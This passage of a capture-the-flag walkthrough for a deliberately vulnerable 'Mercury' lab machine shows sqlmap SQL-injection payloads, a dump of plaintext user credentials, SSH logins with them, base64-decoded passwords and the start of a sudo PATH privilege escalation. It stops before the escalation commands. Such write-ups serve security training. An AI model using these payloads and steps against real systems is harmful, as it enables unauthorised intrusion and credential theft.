[13:15:21] [INFO] testing 'MySQL >= 5.0.12 OR time-based blind (SLEEP - comment)'
[13:15:21] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP - comment)'
[13:15:22] [INFO] testing 'MySQL >= 5.0.12 OR time-based blind (query SLEEP - comment)'
[13:15:22] [INFO] testing 'MySQL < 5.0.12 AND time-based blind (BENCHMARK)'
[13:15:22] [INFO] testing 'MySQL > 5.0.12 AND time-based blind (heavy query)'
[13:15:23] [INFO] testing 'MySQL < 5.0.12 OR time-based blind (BENCHMARK)'
[13:15:23] [INFO] testing 'MySQL > 5.0.12 OR time-based blind (heavy query)'
[13:15:23] [INFO] testing 'MySQL < 5.0.12 AND time-based blind (BENCHMARK - comment)'
[13:15:24] [INFO] testing 'MySQL > 5.0.12 AND time-based blind (heavy query - comment)'
[13:15:24] [INFO] testing 'MySQL < 5.0.12 OR time-based blind (BENCHMARK - comment)'
[13:15:24] [INFO] testing 'MySQL > 5.0.12 OR time-based blind (heavy query - comment)'
[13:15:25] [INFO] testing 'MySQL >= 5.0.12 RLIKE time-based blind'
[13:15:25] [INFO] testing 'MySQL >= 5.0.12 RLIKE time-based blind (comment)'
[13:15:25] [INFO] testing 'MySQL >= 5.0.12 RLIKE time-based blind (query SLEEP)'
[13:15:26] [INFO] testing 'MySQL >= 5.0.12 RLIKE time-based blind (query SLEEP - comment)'
[13:15:26] [INFO] testing 'MySQL AND time-based blind (ELT)'
[13:15:26] [INFO] testing 'MySQL OR time-based blind (ELT)'
[13:15:27] [INFO] testing 'MySQL AND time-based blind (ELT - comment)'
[13:15:27] [INFO] testing 'MySQL OR time-based blind (ELT - comment)'
[13:15:27] [INFO] testing 'MySQL >= 5.1 time-based blind (heavy query) - PROCEDURE ANALYSE (EXTRACTVALUE)'
[13:15:27] [INFO] testing 'MySQL >= 5.1 time-based blind (heavy query - comment) - PROCEDURE ANALYSE (EXTRACTVALUE)'
[13:15:28] [INFO] testing 'MySQL >= 5.0.12 time-based blind - Parameter replace'
[13:16:28] [INFO] URI parameter '#1*' appears to be 'MySQL >= 5.0.12 time-based blind - Parameter replace' injectable
[13:16:28] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[13:16:28] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[13:16:56] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[13:17:12] [INFO] testing 'MySQL UNION query (random number) - 1 to 20 columns'
[13:17:32] [INFO] target URL appears to be UNION injectable with 1 columns
[13:17:33] [INFO] URI parameter '#1*' is 'MySQL UNION query (random number) - 1 to 20 columns' injectable
URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 1875 HTTP(s) requests:
---
Parameter: #1* (URI)
Type: error-based
Title: MySQL >= 5.6 error-based - Parameter replace (GTID_SUBSET)
Payload: http://192.168.56.106:8080/mercuryfacts/GTID_SUBSET(CONCAT(0x716a7a7171,(SELECT (ELT(2611=2611,1))),0x7170787171),2611)
Type: time-based blind
Title: MySQL >= 5.0.12 time-based blind - Parameter replace
Payload: http://192.168.56.106:8080/mercuryfacts/(CASE WHEN (5398=5398) THEN SLEEP(5) ELSE 5398 END)
Type: UNION query
Title: MySQL UNION query (random number) - 1 column
Payload: http://192.168.56.106:8080/mercuryfacts/-2548 UNION ALL SELECT CONCAT(0x716a7a7171,0x654b546941585a574a64645a65576e4a46414c7a697941626c6a70475a4275594b71474565437070,0x7170787171)#
---
[13:17:33] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.6
[13:17:33] [INFO] fetching database names
available databases [2]:
[*] information_schema
[*] mercury
[13:17:33] [INFO] fetched data logged to text files under '/home/rootharsh/.local/share/sqlmap/output/192.168.56.106'
[*] ending @ 13:17:33 /2023-03-21/
┌──(rootharsh㉿kali)-[~]
└─$
The output shows us that there are two available databases. We observe that there are two databases, information_schema, and mercury.
Now, List information about Tables present in a particular Database
To try and access any of the databases, we have to slightly modify our command. We now use -D to specify the name of the database that we wish to access, and once we have access to the database, we would want to see whether we can dump all DBMS databases tables entries. For this, we use the –dump-all query.
┌──(rootharsh㉿kali)-[~]
└─$ sqlmap –u http://192.168.56.106:8080/mercuryfacts/ -D mercury –dump-all –batch
_
_H_
_ _[,]__ __ _ {1.7.2#stable}
|_ -| . ["] | .'| . |
|_|_ [)]|||_,| _|
||V... || https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 12:53:30 /2023-03-21/
[12:53:30] [WARNING] you've provided target URL without any GET parameters (e.g. 'http://www.site.com/article.php?id=1') and without providing any POST parameters through option '--data'
do you want to try URI injections in the target URL itself? [Y/n/q] Y
[12:53:30] [INFO] testing connection to the target URL
[12:53:30] [INFO] checking if the target is protected by some kind of WAF/IPS
[12:53:30] [INFO] testing if the target URL content is stable
[12:53:31] [INFO] target URL content is stable
[12:53:31] [INFO] testing if URI parameter '#1*' is dynamic
got a 301 redirect to 'http://192.168.56.106:8080/mercuryfacts/5052/'. Do you want to follow? [Y/n] Y
[12:53:31] [INFO] URI parameter '#1*' appears to be dynamic
[12:53:33] [INFO] heuristic (basic) test shows that URI parameter '#1*' might be injectable (possible DBMS: 'MySQL')
[12:53:35] [INFO] testing for SQL injection on URI parameter '#1*'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[12:53:35] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[12:53:38] [WARNING] reflective value(s) found and filtering out
[12:53:46] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[12:53:47] [INFO] testing 'Generic inline queries'
[12:53:47] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[12:54:07] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[12:54:32] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)'
[12:54:54] [INFO] testing 'MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause'
[12:55:29] [INFO] testing 'MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (MAKE_SET)'
[12:56:06] [INFO] testing 'MySQL OR boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (MAKE_SET)'
[12:56:46] [INFO] testing 'MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (ELT)'
[12:57:22] [INFO] testing 'MySQL OR boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (ELT)'
[12:58:07] [INFO] testing 'MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (bool*int)'
[12:58:41] [INFO] testing 'MySQL OR boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (bool*int)'
[12:59:44] [INFO] testing 'MySQL boolean-based blind - Parameter replace (MAKE_SET)'
[12:59:44] [INFO] testing 'MySQL boolean-based blind - Parameter replace (MAKE_SET - original value)'
[12:59:44] [INFO] testing 'MySQL boolean-based blind - Parameter replace (ELT)'
[12:59:44] [INFO] testing 'MySQL boolean-based blind - Parameter replace (ELT - original value)'
[12:59:44] [INFO] testing 'MySQL boolean-based blind - Parameter replace (bool*int)'
[12:59:45] [INFO] testing 'MySQL boolean-based blind - Parameter replace (bool*int - original value)'
[12:59:45] [INFO] testing 'MySQL >= 5.0 boolean-based blind - ORDER BY, GROUP BY clause'
[12:59:51] [INFO] testing 'MySQL >= 5.0 boolean-based blind - ORDER BY, GROUP BY clause (original value)'
[12:59:58] [INFO] testing 'MySQL < 5.0 boolean-based blind - ORDER BY, GROUP BY clause'
[12:59:58] [INFO] testing 'MySQL < 5.0 boolean-based blind - ORDER BY, GROUP BY clause (original value)'
[12:59:58] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Stacked queries'
[13:00:40] [INFO] testing 'MySQL < 5.0 boolean-based blind - Stacked queries'
[13:00:40] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[13:01:13] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[13:01:49] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[13:02:20] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[13:02:52] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
[13:03:25] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'
[13:04:00] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[13:04:53] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[13:05:30] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[13:06:10] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[13:06:48] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[13:07:21] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[13:08:00] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[13:08:32] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[13:08:52] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[13:09:20] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)'
[13:09:58] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause (FLOOR)'
[13:10:12] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)'
[13:10:41] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED)'
[13:10:42] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (EXP)'
[13:10:42] [INFO] testing 'MySQL >= 5.6 error-based - Parameter replace (GTID_SUBSET)'
[13:10:43] [INFO] URI parameter '#1*' is 'MySQL >= 5.6 error-based - Parameter replace (GTID_SUBSET)' injectable
[13:10:43] [INFO] testing 'MySQL inline queries'
[13:10:43] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[13:10:43] [INFO] testing 'MySQL >= 5.0.12 stacked queries'
[13:10:43] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'
[13:10:44] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'
[13:10:44] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK - comment)'
[13:10:44] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK)'
[13:10:44] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[13:10:45] [INFO] testing 'MySQL >= 5.0.12 OR time-based blind (query SLEEP)'
[13:10:45] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SLEEP)'
[13:10:45] [INFO] testing 'MySQL >= 5.0.12 OR time-based blind (SLEEP)'
[13:10:46] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SLEEP - comment)'
[13:10:46] [INFO] testing 'MySQL >= 5.0.12 OR time-based blind (SLEEP - comment)'
[13:10:46] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP - comment)'
[13:10:47] [INFO] testing 'MySQL >= 5.0.12 OR time-based blind (query SLEEP - comment)'
[13:10:47] [INFO] testing 'MySQL < 5.0.12 AND time-based blind (BENCHMARK)'
[13:10:47] [INFO] testing 'MySQL > 5.0.12 AND time-based blind (heavy query)'
[13:10:47] [INFO] testing 'MySQL < 5.0.12 OR time-based blind (BENCHMARK)'
[13:10:48] [INFO] testing 'MySQL > 5.0.12 OR time-based blind (heavy query)'
[13:10:48] [INFO] testing 'MySQL < 5.0.12 AND time-based blind (BENCHMARK - comment)'
[13:10:48] [INFO] testing 'MySQL > 5.0.12 AND time-based blind (heavy query - comment)'
[13:10:49] [INFO] testing 'MySQL < 5.0.12 OR time-based blind (BENCHMARK - comment)'
[13:10:49] [INFO] testing 'MySQL > 5.0.12 OR time-based blind (heavy query - comment)'
[13:10:49] [INFO] testing 'MySQL >= 5.0.12 RLIKE time-based blind'
[13:10:50] [INFO] testing 'MySQL >= 5.0.12 RLIKE time-based blind (comment)'
[13:10:50] [INFO] testing 'MySQL >= 5.0.12 RLIKE time-based blind (query SLEEP)'
[13:10:50] [INFO] testing 'MySQL >= 5.0.12 RLIKE time-based blind (query SLEEP - comment)'
[13:10:51] [INFO] testing 'MySQL AND time-based blind (ELT)'
[13:10:51] [INFO] testing 'MySQL OR time-based blind (ELT)'
[13:10:51] [INFO] testing 'MySQL AND time-based blind (ELT - comment)'
[13:10:52] [INFO] testing 'MySQL OR time-based blind (ELT - comment)'
[13:10:52] [INFO] testing 'MySQL >= 5.1 time-based blind (heavy query) - PROCEDURE ANALYSE (EXTRACTVALUE)'
[13:10:52] [INFO] testing 'MySQL >= 5.1 time-based blind (heavy query - comment) - PROCEDURE ANALYSE (EXTRACTVALUE)'
[13:10:53] [INFO] testing 'MySQL >= 5.0.12 time-based blind - Parameter replace'
[13:11:53] [INFO] URI parameter '#1*' appears to be 'MySQL >= 5.0.12 time-based blind - Parameter replace' injectable
[13:11:53] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[13:11:53] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[13:12:07] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[13:12:21] [INFO] testing 'MySQL UNION query (random number) - 1 to 20 columns'
[13:12:38] [INFO] target URL appears to be UNION injectable with 1 columns
[13:12:39] [INFO] URI parameter '#1*' is 'MySQL UNION query (random number) - 1 to 20 columns' injectable
URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 1875 HTTP(s) requests:
---
Parameter: #1* (URI)
Type: error-based
Title: MySQL >= 5.6 error-based - Parameter replace (GTID_SUBSET)
Payload: http://192.168.56.106:8080/mercuryfacts/GTID_SUBSET(CONCAT(0x7178786b71,(SELECT (ELT(6309=6309,1))),0x7176716271),6309)
Type: time-based blind
Title: MySQL >= 5.0.12 time-based blind - Parameter replace
Payload: http://192.168.56.106:8080/mercuryfacts/(CASE WHEN (3158=3158) THEN SLEEP(5) ELSE 3158 END)
Type: UNION query
Title: MySQL UNION query (random number) - 1 column
Payload: http://192.168.56.106:8080/mercuryfacts/-7892 UNION ALL SELECT CONCAT(0x7178786b71,0x6f6551796d564e6b746663726d6378624474666941594f48686c48484b53477164585646626f6a59,0x7176716271)#
---
[13:12:40] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.6
[13:12:41] [INFO] fetching tables for database: 'mercury'
[13:12:41] [INFO] fetching columns for table 'users' in database 'mercury'
[13:12:42] [INFO] fetching entries for table 'users' in database 'mercury'
Database: mercury
Table: users
[4 entries]
+----+-------------------------------+-----------+
| id | password | username |
+----+-------------------------------+-----------+
| 1 | johnny1987 | john |
| 2 | lovemykids111 | laura |
| 3 | lovemybeer111 | sam |
| 4 | mercuryisthesizeof0.056Earths | webmaster |
+----+-------------------------------+-----------+
[13:12:42] [INFO] table 'mercury.users' dumped to CSV file '/home/rootharsh/.local/share/sqlmap/output/192.168.56.106/dump/mercury/users.csv'
[13:12:42] [INFO] fetching columns for table 'facts' in database 'mercury'
[13:12:42] [INFO] fetching entries for table 'facts' in database 'mercury'
[13:12:42] [INFO] retrieved: 'Mercury does not have any moons or rings.','1'
[13:12:42] [INFO] retrieved: 'Mercury is the smallest planet.','2'
[13:12:42] [INFO] retrieved: 'Mercury is the closest planet to the Sun.','3'
[13:12:42] [INFO] retrieved: 'Your weight on Mercury would be 38% of your weight on Earth.','4'
[13:12:42] [INFO] retrieved: 'A day on the surface of Mercury lasts 176 Earth days.','5'
[13:12:42] [INFO] retrieved: 'A year on Mercury takes 88 Earth days.','6'
[13:12:43] [INFO] retrieved: 'It's not known who discovered Mercury.','7'
[13:12:43] [INFO] retrieved: 'A year on Mercury is just 88 days long.','8'
Database: mercury
Table: facts
[8 entries]
+----+--------------------------------------------------------------+
| id | fact |
+----+--------------------------------------------------------------+
| 1 | Mercury does not have any moons or rings. |
| 2 | Mercury is the smallest planet. |
| 3 | Mercury is the closest planet to the Sun. |
| 4 | Your weight on Mercury would be 38% of your weight on Earth. |
| 5 | A day on the surface of Mercury lasts 176 Earth days. |
| 6 | A year on Mercury takes 88 Earth days. |
| 7 | It's not known who discovered Mercury. |
| 8 | A year on Mercury is just 88 days long. |
+----+--------------------------------------------------------------+
[13:12:43] [INFO] table 'mercury.facts' dumped to CSV file '/home/rootharsh/.local/share/sqlmap/output/192.168.56.106/dump/mercury/facts.csv'
[13:12:43] [INFO] fetched data logged to text files under '/home/rootharsh/.local/share/sqlmap/output/192.168.56.106'
[*] ending @ 13:12:43 /2023-03-21/
┌──(rootharsh㉿kali)-[~]
└─$
From the output, We have got a few usernames and passwords. As we already know, there is an SSH service is running on port 21. Let’s perform a Secure shell connection to enable secure remote connections using these usernames and their relevant passwords.
After attempting these credentials, we successfully authenticated and got a secure shell. As it’s depicted now, we have accessed the user webmaster.
┌──(rootharsh㉿kali)-[~]
└─$ ssh webmaster@192.168.56.106
webmaster@192.168.56.106's password:
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-45-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Tue 21 Mar 07:48:44 UTC 2023
System load: 0.27 Processes: 104
Usage of /: 70.5% of 4.86GB Users logged in: 0
Memory usage: 29% IPv4 address for enp0s3: 192.168.56.106
Swap usage: 0%
22 updates can be installed immediately.
0 of these updates are security updates.
To see these additional updates run: apt list --upgradable
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Tue Sep 1 13:57:14 2020 from 192.168.31.136
webmaster@mercury:~$
Next, use the ls command to list the files and the directories’ contents. As a result, we found user_flag.txt, open this using the cat command.
┌──(rootharsh㉿kali)-[~]
└─$ ssh webmaster@192.168.56.106
webmaster@192.168.56.106's password:
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-45-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Tue 21 Mar 07:48:44 UTC 2023
System load: 0.27 Processes: 104
Usage of /: 70.5% of 4.86GB Users logged in: 0
Memory usage: 29% IPv4 address for enp0s3: 192.168.56.106
Swap usage: 0%
22 updates can be installed immediately.
0 of these updates are security updates.
To see these additional updates run: apt list --upgradable
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Tue Sep 1 13:57:14 2020 from 192.168.31.136
webmaster@mercury:~$ ls
mercury_proj user_flag.txt
webmaster@mercury:~$ cat user_flag.txt
[user_flag_8339915c9a454657bd60ee58776f4ccd]
After the login, we got our first flag in the same directory. Since this is not the root user, let’s identify further information about the target machine, which could be useful for gaining root access.
Step 3:- (Privilege Escalation)
Let’s identify the rights and privileges of the current user by executing the sudo -l command.
webmaster@mercury:~$ sudo -l
[sudo] password for webmaster:
Sorry, user webmaster may not run sudo on mercury.
We got an output, which is the user mercury doesn’t have permission to run the sudo command.
After analyzing, we have discovered a directory that may contain some sensitive information. Let’s change the directory to the mercury project directory.
webmaster@mercury:~$ cd mercury_proj/
webmaster@mercury:~/mercury_proj$
Now run the ls command to list the files and directories. There is a text file, let’s see what is there in this file.
webmaster@mercury:~/mercury_proj$ ls
db.sqlite3 manage.py mercury_facts mercury_index mercury_proj notes.txt
webmaster@mercury:~/mercury_proj$
Open this file with the cat command.
This file contained some login strings, that seem to be base-64 encoded strings.
We used the echo command to decode the base-64 string.
webmaster@mercury:~/mercury_proj$ cat notes.txt
Project accounts (both restricted):
webmaster for web stuff - webmaster:bWVyY3VyeWlzdGhlc2l6ZW9mMC4wNTZFYXJ0aHMK
linuxmaster for linux stuff - linuxmaster:bWVyY3VyeW1lYW5kaWFtZXRlcmlzNDg4MGttCg==
webmaster@mercury:~/mercury_proj$ echo "bWVyY3VyeWlzdGhlc2l6ZW9mMC4wNTZFYXJ0aHMK" | base64 -d
mercuryisthesizeof0.056Earths
webmaster@mercury:~/mercury_proj$ echo "bWVyY3VyeW1lYW5kaWFtZXRlcmlzNDg4MGttCg==" | base64 -d
mercurymeandiameteris4880km
After successful decode these strings, we found a clear-text password for the user linuxmaster.
Let us login into the target machine using the user “linuxmaster”.
┌──(rootharsh㉿kali)-[~]
└─$ ssh linuxmaster@192.168.56.106
linuxmaster@192.168.56.106's password:
Permission denied, please try again.
linuxmaster@192.168.56.106's password:
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-45-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Tue 21 Mar 08:48:20 UTC 2023
System load: 0.07 Processes: 111
Usage of /: 70.7% of 4.86GB Users logged in: 1
Memory usage: 29% IPv4 address for enp0s3: 192.168.56.106
Swap usage: 0%
22 updates can be installed immediately.
0 of these updates are security updates.
To see these additional updates run: apt list --upgradable
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Fri Aug 28 12:57:20 2020 from 192.168.31.136
Now, again run sudo -l to identify the rights and privileges of the current user linuxmaster.
linuxmaster@mercury:~$ sudo -l
[sudo] password for linuxmaster:
Matching Defaults entries for linuxmaster on mercury:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User linuxmaster may run the following commands on mercury:
(root : root) SETENV: /usr/bin/check_syslog.sh
linuxmaster@mercury:~$
There is a file that contains the root permission to the /usr/bin/check_syslog.sh.
This means the current user owns sudo rights for the “check_syslog.sh” bash script. This is a part of the local privilege escalation.
Let’s use this file to escalate current user privilege to root.
Firstly read the contents of the bash script, the script was written to execute the tail program for reading the last 10 Syslog entries.
As we know the check_syslog.sh could be run in the preserve Environment which means we can abuse the environment path variable.
So, we tried to create a hard link or a symbolic link to an existing file or directory to the specified TARGET using the VI text editor. This could be done using the following commands.
Once, you will execute the above command, further, you need to execute the following command that will execute “check_syslog.sh” in a preserve the environment which will link the VI editor to the tail program and open the “Syslog.sh” script in vi editor mode.